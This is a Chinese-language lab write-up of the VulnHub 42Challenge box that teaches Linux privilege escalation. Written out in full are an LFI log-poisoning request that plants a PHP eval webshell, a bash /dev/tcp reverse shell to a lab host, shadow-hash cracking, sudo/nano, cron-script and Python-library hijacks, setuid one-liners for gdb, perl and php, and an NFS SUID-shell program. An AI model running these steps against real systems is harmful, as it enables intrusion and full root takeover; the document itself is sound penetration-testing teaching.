从Challenge42看Linux提权基本技巧
# 从Challenge42看Linux提权基本技巧
本文首发于跳跳糖社区 https://tttang.com/archive/1414/
# 0x00 前言
最近在学习Linux提权的时候,找到了一个很不错的靶机,基本可以覆盖基础Linux提权的技巧,因此做一个记录
靶机下载地址:https://www.vulnhub.com/entry/42challenge-1,465/
在本例中的靶机地址: 192.168.111.16
# 0x01 GetShell
存在lfi漏洞
这里利用/var/log/nginx/access.log去包含可控的User-Agent头
GET /index.php?log=/var/log/nginx/access.log HTTP/1.1
Host: 192.168.111.28
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: <?php eval($_REQUEST['eki']);?>
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
2
3
4
5
6
7
8
9
10
11
12
13
因为access.log会一直叠加,所以我们直接在webroot重写一个马
POST /index.php?log=/var/log/nginx/access.log HTTP/1.1
Host: 192.168.111.16
Pragma: no-cache
Cache-Control: no-cache
DNT: 1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.131 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
eki=file_put_contents("eki.php","<?php+eval(\$_REQUEST['eki']);?>")%3b
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
此时可以用蚁剑连接
拿到第一个flag
既然要体验多种提权方法,肯定不能通过内核提权漏洞一把梭了
# 0x02 反弹shell-密码文件爆破
目前我们手里只有webshell 可以利用反弹shell来得到一个完整的shell环境方便执行一些命令
# 开启本地12336端口监听
nc -lvvp 12336
2
bash -c 'exec bash -i &>/dev/tcp/192.168.111.1/12336 0>&1
查找敏感文件,这里找密码相关的文件
find / -iname '*passwd*' 2>/dev/null
find / -iname '*shadow*' 2>/dev/null
2
找到几个有趣的
cat /var/backups/shadow_backup.bak
可以拿到下面这些hash
root:$6$nGvBJ7Ph$jqHgNPRgfT4/lLkPMXMB0WnD9bmrTXMhjXm2OYmlKTU3G/nn5MVZ93Xi4EwX9TwP.zFwM/CUJ11wxC/whIOdF/:18319:0:99999:7:::
lucas:$6$zBETbEhW$rF/A44Y5NCJATkFfD4Qu4lzebQ/PW5/kPD1WKTzf6/uSt4PtPXESIENWW5xd9PsKGu7k2hCLI9uz7s8HyNHdv.:18318:0:99999:7:::
maria:$6$jD/TgaEw$6HAWM6i4NUsMtSUkqx1d60cdQTLJTWIN/9Y5Qmr0pShdkhiZ/M465WwFDUj4HKnuKZuHc53GPNJg01uY/9DPQ0:18318:0:99999:7:::
2
3
尝试hash爆破下
john -w=rockyou.txt shadow.txt
解得一个密码
marvin marvinthemartian
拿到第二个flag
# 0x03 利用存在的SUID权限程序提权
# 什么是SUID?
我们知道使用 ls -l 命令可以查看文件的具体属性:
如图所示,第一列所示告诉了用户一个文件的类型和权限信息:
- 第一个字符 "d",表明该文件是一个目录文件;
rwx
表示该文件具有可读/写/可执行权限;- 三组
rwx
分别表示该文件所有者/文件所在组/其他用户对该文件的权限。
而在cat这个文件中我们看到他拥有的权限是rws
s
就代表着uid权限,出现在文件所有者的x
权限上,其作用是让执行该文件的用户在使用这个文件时具有该文件所有者的权限:
1)SUID 权限仅对二进制可执行文件有效,不能用于目录文件,脚本也不行;
2)执行者对于该文件需要由可执行权限;
3)本权限仅在执行该文件的过程中有效,即在文件被执行时文件使用者才具备该文件所有者的权限,执行完毕后不再拥有文件所有者的权限;
比如以上述cat程序为例(是从/usr/bin中拷贝而来设置了suid)
分别运行没有suid位的cat和当前目录有suid的cat,可以看到没有suid的cat运行时权限是用户权限所以无权读取/etc/shadow,运行有suid的cat就可以获得对应所属者的root权限读取到/etc/shadow
Tips: suid实际上可以理解为对原有rwx的扩展,也有三种: SUID SGID SBIT SGID与 SUID 一样,其作用是让执行该文件的用户在使用该文件时具有该文件所属组的权限。出现在文件所在组的 x 权限上。 SBIT 的标志为 t,出现在文件其他用户的 x 权限上,只能用于目录。其作用是,该目录下的文件只有文件的创建者自己和 root 用户才可以执行删除或修改操作。 与 r、w、x 一样,这三个标志位也可以用数字来标识: SUID:4 SGID:2 SBIT:1 放在基础权限位之前
chmod 4755 newfile # 为文件设置 rwsr-xr-x 权限 chmod 2755 newfile # 为文件设置 rwxr-sr-x 权限 chmod 7755 newdirectory # 为目录设置 rwsr-sr-t 权限
# 提权过程
查找所有含suid的文件
find / -perm -u=s -type f 2>/dev/null
这个Lucas_Access比较特殊
而且任意用户都有权限执行和读取,运行后需要输入密码
我们可以把它下载下来逆向分析,大概就是输入密码判定然后开启shell,其中密码逻辑反汇编如下
__int64 __fastcall try(__int64 a1)
{
int i; // [rsp+14h] [rbp-Ch]
char *v3; // [rsp+18h] [rbp-8h]
v3 = (char *)malloc(0x11uLL);
v3[17] = 0;
strcpy(v3, "3dF_s6Pc");
strcat(v3, "j$mrE_Zz");
for ( i = 0; *(_BYTE *)(i + a1) && v3[i] && *(_BYTE *)(i + a1) == v3[i]; ++i )
;
return *(unsigned __int8 *)(i + a1) - (unsigned int)(unsigned __int8)v3[i];
}
2
3
4
5
6
7
8
9
10
11
12
13
可以推出密码为=>3dF_s6Pcj$mrE_Zz
输入密码后进入第三个用户的shell环境,不过此时的Home环境还是marvin的
我们可以把本地公钥写到lucas的./ssh/authorized_keys
里方便直接登录
mkdir -p /home/lucas/.ssh/ &&echo "<your public_keys>" >> /home/lucas/.ssh/authorized_keys
拿到第三个flag
# 0x04 不安全的sudo配置导致的提权
# 什么是sudo?
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,如halt,reboot,su等等。这样不仅减少了root用户的登录和管理时间,同样也提高了安全性。sudo不是对shell的一个代替,它是面向每个命令的。
它的特性主要有这样几点:
- sudo能够限制用户只在某台主机上运行某些命令。
- sudo提供了丰富的日志,详细地记录了每个用户干了什么。它能够将日志传到中心主机或者日志服务器。
- sudo使用时间戳文件来执行类似的“检票”系统。当用户调用sudo并且输入它的密码时,用户获得了一张存活期为5分钟的票(这个值可以在编译的时候改变)。
- sudo的配置文件是sudoers文件,它允许系统管理员集中的管理用户的使用权限和使用的主机。它所存放的位置默认是在/etc/sudoers,属性必须为0440。也可以引用其他配置目录,一般存放在/etc/sudoers.d目录下,一个用户对应着一个文件
参数说明:
- -V 显示版本编号
- -h 会显示版本编号及指令的使用方式说明
- -l 显示出自己(执行 sudo 的使用者)的权限
- -v 因为 sudo 在第一次执行时或是在 N 分钟内没有执行(N 预设为五)会问密码,这个参数是重新做一次确认,如果超过 N 分钟,也会问密码
- -k 将会强迫使用者在下一次执行 sudo 时问密码(不论有没有超过 N 分钟)
- -b 将要执行的指令放在背景执行
- -p prompt 可以更改问密码的提示语,其中 %u 会代换为使用者的帐号名称, %h 会显示主机名称
- -u username/#uid 不加此参数,代表要以 root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)
- -s 执行环境变数中的 SHELL 所指定的 shell ,或是 /etc/passwd 里所指定的 shell
- -H 将环境变数中的 HOME (家目录)指定为要变更身份的使用者家目录(如不加 -u 参数就是系统管理者 root )
- command 要以系统管理者身份(或以 -u 更改为其他人)执行的指令
# Sudoer配置文件
一个示例的配置文件如下
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
# Host alias specification
# User alias specification
# Cmnd alias specification
# User privilege specification
root ALL=(ALL:ALL) ALL
# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
# Allow members of group sudo to execute any command
%sudo ALL=(ALL:ALL) ALL
# See sudoers(5) for more information on "#include" directives:
#includedir /etc/sudoers.d
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
可以sudoers文件主要有三部分组成:
- sudoers的默认配置(default),主要设置sudo的一些缺省值
- 注意
Defaults secure_path
指定了sudo的PATH变量,这将会覆盖上下文的PATH
- 注意
- alias(别名),主要有Host_Alias|Runas_Alias|User_Alias|Cmnd_Alias。
- 安全策略(规则定义)——重点。
值得注意的是,sudoer配置文件权限需为440
否则无法执行,所以在修改完配置文件和需要将文件权限恢复到440
下面是一些安全规则的语法示例
root ALL=(ALL:ALL) ALL
root用户可以从 ALL终端作为 ALL(任意)用户 ALL(任意)用户组执行,并运行 ALL(任意)命令。
第一部分是用户,第二部分是用户可以在其中使用sudo命令的终端,第三部分是他可以充当的用户,第四部分是可以充当的用户组(可以省略),最后一部分是他在使用sudo时可以运行的命令。
campus ALL = (root) NOPASSWD:/usr/bin/find
上面的命令,使用户可以从任何终端运行,以root用户身份运行命令find
而无需密码NOPASSWD
标识了这一点。
%sudo ALL=(ALL:ALL) ALL
%表示用户组,该用户组可以从 ALL终端作为 ALL(任意)用户 ALL(任意)用户组执行,并运行 ALL(任意)命令。
# 提权过程
那么我们来看lucas用户的sudo -l
发现他有以maria用户身份执行/bin/nano的权限
查一下 https://gtfobins.github.io/gtfobins/nano/#sudo
发现nano可以拿shell
首先 sudo -u maria /bin/nano 进入界面;
CRTL+R
CRTL+X
后输入
进入maria身份的shell
为了方便,我们也可以直接加个ssh登录公钥
拿到第四个flag
# 0x05 利用不安全的服务/定时任务提权
我们知道服务也是通过用户启动的,具有进程发起者的权限,如果服务或者定时任务存在漏洞导致攻击者getshell的话,那么攻击者拿到的shell的权限就是服务用户的权限了
服务的话一般直接ps aux
枚举进程就能看见,定时任务可能不一定能够及时发现。这里通过pspy来进行Linux监控,项目地址如下:
https://github.com/DominicBreuker/pspy
uname -a
可知操作系统是64位的
下载pspy64并监控
注意到laura的Server_Status.py和pedro的Reporting_System.sh都会定时自动执行
但是我们目前还看不了laura
查看Reporting_System.sh权限信息
发现除了三组rwx最后还多了个+号,这代表着其具有额外的ACL权限
什么是ACL ACL的全称是 Access Control List (访问控制列表) ,一个针对文件/目录的访问控制列表。它在传统的UGO权限管理的基础上为文件系统提供一个额外的、更灵活的权限管理机制。ACL允许你给任何的用户或用户组设置任何文件/目录的访问权限。
可以通过setfacl
和getfacl
设置和查看其acl权限
getfacl /home/pedro/Reporting_System_Info.sh
发现maira是有权限读的
内容如下
#!/bin/sh
#Checking system files rights
ls -la /etc/passwd >> /tmp/results.txt
ls -la /etc/shadow >> /tmp/results.txt
echo "" >> /tmp/results.txt
#Checking users last login
last marvin | head -n 1 >> /tmp/results.txt
last lucas | head -n 1 >> /tmp/results.txt
last maria | head -n 1 >> /tmp/results.txt
last pedro | head -n 1 >> /tmp/results.txt
last root | head -n 1 >> /tmp/results.txt
echo "" >> /tmp/results.txt
#Checking users groups
id marvin | cut -d " " -f 3 >> /tmp/results.txt
id lucas | cut -d " " -f 3 >> /tmp/results.txt
id maria | cut -d " " -f 3 >> /tmp/results.txt
id pedro | cut -d " " -f 3 >> /tmp/results.txt
id root | cut -d " " -f 3 >> /tmp/results.txt
#---> Maria needs to create this feature in the future <---
#Sending a Email with the results
sh /home/maria/Send_Reporting_Email.sh 2>/dev/null
#Removing reporting file
rm -rf /tmp/results.txt
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
这里调用了maria可控的/home/maria/Send_Reporting_Email.sh
的脚本
那么我们劫持这个脚本注入反弹shell命令或者直接写入公钥就可以拿到pedro的shell了
可以监控到执行了我们的命令
拿到第五个flag
这个时候我们去看Server_Status的权限,发现也是存在acl的,表明pedro用户有权限读取和执行这个应用程序
我们先来看一下脚本的内容
import os
import subprocess
def is_service_running(name):
with open(os.devnull, 'wb') as hide_output:
exit_code = subprocess.Popen(['service', name, 'status'], stdout=hide_output, stderr=hide_output).wait()
return exit_code == 0
if not is_service_running('ssh'):
print 'SSH: is not running'
else:
print 'SSH: is running'
if not is_service_running('nginx'):
print 'Nginx: is not running'
else:
print 'Nginx: is running'
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
乍一看好像没啥可控点和漏洞,但是和之前我们利用Send_Reporting_Email.sh
的思路一致,我们可以去看看引入的文件是否可控
我们发现引入的subprocess文件是/usr/lib/python2.7/subprocess.py
,查看权限发现他对任意用户可读可写,
读取发现这个subprocess被人修改过
那么我们尝试把他的key换成我们自己的,做一些修改
当pspy监控到运行Server_Status.py时
我们的key被成功添加了,登录ssh拿到第6个flag
# 0x06 不安全的sudo配置导致的提权之二
sudo -l
发现laura可以以root身份无密码运行 /home/laura/test
但是目录下面并没有test
这个时候我们把/bin/bash给软连接或者拷贝过来
ln -s /bin/bash /home/laura/test
会发现我们可以sudo运行这个test导致了提权,这也是sudo的一个逻辑缺陷,sudo配置只关心程序的路径,而不关心程序是否会被修改。当然在大多数情况下,比如/usr/bin/find都是不可修改的只可以执行的,不会出现问题,而当错误配置时,就会引发这个逻辑漏洞导致提权
拿到最后一个flag
# 0x07 其他提权方式
除了靶机中遇到的这些提权方式,事实上还有一些比较常见的linux提取技巧,在此处继续做一个整理
# 配置不当的Capbility导致的提权
# 什么是Capbility
之前在讲SUID权限的时候我们发现,只要具有SUID,程序就能获得所有者的所有权限,一旦程序被发现有漏洞,比如我们之前演示的find
,就能造成提权。而在大多数情况下,比如/usr/bin/passwd
程序,我们可能只需要让他有写文件的权限,而不希望他有其他权限。为例更细粒度的对文件权限进行控制,Linux内核自2.2 引入了 capabilities 机制对 root 权限进行细粒度的控制,实现按需授权,从而减小系统的安全攻击面。
举个例子,安装wireshark软件后,默认情况下,普通用户无法对网卡实施抓包操作。这是因为普通用户不具备相应的权限。
为解决此问题,可以为/usr/bin/dumpcap文件授予抓包相关的capabilities:
setcap cap_net_raw,cap_net_admin=eip /usr/bin/dumpcap
命令执行后重新启动wireshark,就可以抓包了。
设置文件Capablity
setcap cap_setuid+ep /usr/bin/gdb
查看文件的Capability
getcap /usr/bin/dumpcap //查看文件的capabilities
删除文件的capabilities
setcap -r /usr/bin/dumpcap
利用下面命令可以找一些被设置了capability的文件
getcap -r / 2>/dev/null
类似SUID提权,我们可以通过有特殊capability权限的程序提权,比如下列是通过cap_setuid权限进行提权
- gdb
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
- perl
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'
- php
php -r "posix_setuid(0); system('/bin/sh');"
# 配置不当的NFS导致的提权
什么是NFS? 网络文件系统(NFS)是一个客户端/服务器应用程序,它使计算机用户可以查看和选择存储和更新远程计算机上的文件,就像它们位于用户自己的计算机上一样。在 NFS 协议是几个分布式文件系统标准,网络附加存储(NAS)之一。 NFS是基于UDP/IP协议的应用,其实现主要是采用远程过程调用RPC机制,RPC提供了一组与机器、操作系统以及低层传送协议无关的存取远程文件的操作。RPC采用了XDR的支持。XDR是一种与机器无关的数据描述编码的协议,他以独立与任意机器体系结构的格式对网上传送的数据进行编码和解码,支持在异构系统之间数据的传送。
简单来说,我们可以透过nfs将一个远程服务器的文件系统挂载到本地,不安全的nfs配置文件如下
第一列表示要共享的文件系统挂载点
第二列表示要共享的对象,这里是192.168.111.0/24整个子网
括号中的对象表示各种权限
- rw:读写操作
- sync: 在应用之前将任何更改写入光盘
- no_subtree_check:阻止子树检查
- no_root_sqaush: h:登入 NFS 主机使用分享目录的使用者,如果是 root 的话,那么对于这个分享的目录来说,他就具有 root 的权限!这也是我们提权的利用关键
什么是no_root_sqaush? 和
root_sqaush
缺省参数对应,root_sqaush
会阻止对连接到NFS卷的远程root用户具有root访问权限。远程根用户在连接时会分配一个用户nfsnobody
,它具有最少的本地特权。如果no_root_squash
选项开启的话”,并为远程用户授予root用户对所连接系统的访问权限。在配置NFS驱动器时,系统管理员应始终使用root_squash*
参数。
# 利用NFS并获取Root Shell
首先在攻击机上安装连接所需的基础组件
apt install nfs-common cifs-utils
创建目录以挂载远程系统。
mkdir /nfs_client
然后输入命令
showmount -e [IP地址]:[远程挂载地址] [本地挂载地址]
简单写一个提权程序
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /nfs_client/suid-shell.c
编译
gcc /nfs_client/suid-shell.c -o /nfs_client/suid-shell
赋权
chmod +s /nfs_client/suid-shell
然后回到要提权的服务器上以低权限运行suid-shell
可以看到提权
这其实也是一个逻辑漏洞问题,因为nfs开启no_root_sqaush后,远程的root用户连上去共享了root权限,编译出的suid-shell所属者是root,而且具有suid,那么靶机上的低权限用户运行该进程就相当与我们之前说的suid提权了。
# 内核漏洞提权
利用已经披露的内核漏洞提权的话基本上就是一把梭拿到root权限了。流程简单来说就是获取版本信息,然后查找相关版本提权的CVE,编译poc执行提权。
# 参考资料
https://askubuntu.com/questions/546219/what-is-the-difference-between-root-all-allall-all-and-root-all-all-all
https://cloud.tencent.com/developer/article/1708369